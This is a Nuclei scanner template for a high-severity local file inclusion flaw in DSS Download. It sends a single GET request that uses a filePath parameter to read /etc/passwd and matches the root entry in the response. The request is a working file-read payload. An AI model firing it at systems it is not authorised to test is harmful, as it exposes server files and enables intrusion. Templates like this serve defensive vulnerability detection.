id: dss-download-fileread

info:
  name: DSS Download - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: DSS Download is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,dss,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022030f8f717fe40a7dc203d3ef5e5d03dbad1a73db257a9c64c0f8ad5f55977118e022100bfb6e468938831d7f479724ab0d138071ee693066e7e9c722d9700df7bd98d08:922c64590222798bb761d5b6d8e72950
